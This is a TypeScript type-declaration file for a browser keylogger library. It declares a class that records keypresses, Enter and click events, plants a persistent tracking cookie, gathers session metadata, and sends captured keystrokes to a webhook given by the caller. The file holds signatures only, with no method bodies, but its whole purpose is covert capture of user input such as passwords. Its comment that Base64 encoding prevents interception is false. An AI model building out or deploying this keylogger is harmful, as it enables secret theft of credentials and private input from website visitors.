/**
 * Interface representing a session's metadata.
 */
interface ISession {
    /** Unique identifier for the session. */
    id: string;
    /** Timestamp when the session was created. */
    created_at: Date;
    /** User agent string of the client browser. */
    user_agent: string;
    /** Persistent session cookie. */
    session_cookie: string;
}
interface IPayload {
    /** Type of event captured. */
    type: "keypress" | "enter" | "click";
    /** Value of the captured event. */
    value: string;
}

/**
 * Keylogger class to capture keyboard events and send them to a specified webhook.
 */
declare class Keylogger {
    /** Webhook URL to send captured data. */
    protected webhook: string;
    /** Current session information. */
    protected session: ISession | null;
    /** Array to store captured keystrokes. */
    protected keys: Array<string>;
    /**
     * Constructs a new instance of the Keylogger.
     *
     * @param { string } webhook - URL of the webhook to send captured data.
     * @param { boolean } [logAll=false] - Whether to log every keypress (`true`) or only on the "Enter" key (`false`).
     */
    constructor(webhook: string, logAll?: boolean | undefined);
    /**
     * Retrieves or creates a persistent "master-kw-cookie" cookie.
     * @returns The value of the "master-kw-session" cookie.
     */
    protected getOrCreateMasterSession(): string;
    /**
     * Initializes the session with metadata.
     * @param { string } session_cookie - The persistent session cookie value.
     */
    protected initializeSession(session_cookie: string): Promise<void>;
    /**
     * Creates a new session object with metadata.
     * @param { string } session_cookie - The persistent session cookie value.
     * @returns { Promise<ISession> } A Promise resolving to the session object.
     */
    protected createSession(session_cookie: string): Promise<ISession>;
    /**
     * Sends captured data to the webhook along with the session information.
     * NOTE: Data is encoded in Base64 to prevent interception.
     *
     * @param payload - The data payload to send.
     */
    protected sendToWebhook(payload: IPayload): Promise<void>;
    /**
     * Logs all keypress events and sends each key to the webhook.
     */
    protected logAll(): void;
    /**
     * Logs all keystrokes until the "Enter" key is pressed, then sends the accumulated keys to the webhook.
     *
     * TODO: Also logs on "mouse click" & Tab click.
     */
    protected logOnEvent(): void;
}

export { type IPayload, type ISession, Keylogger as default };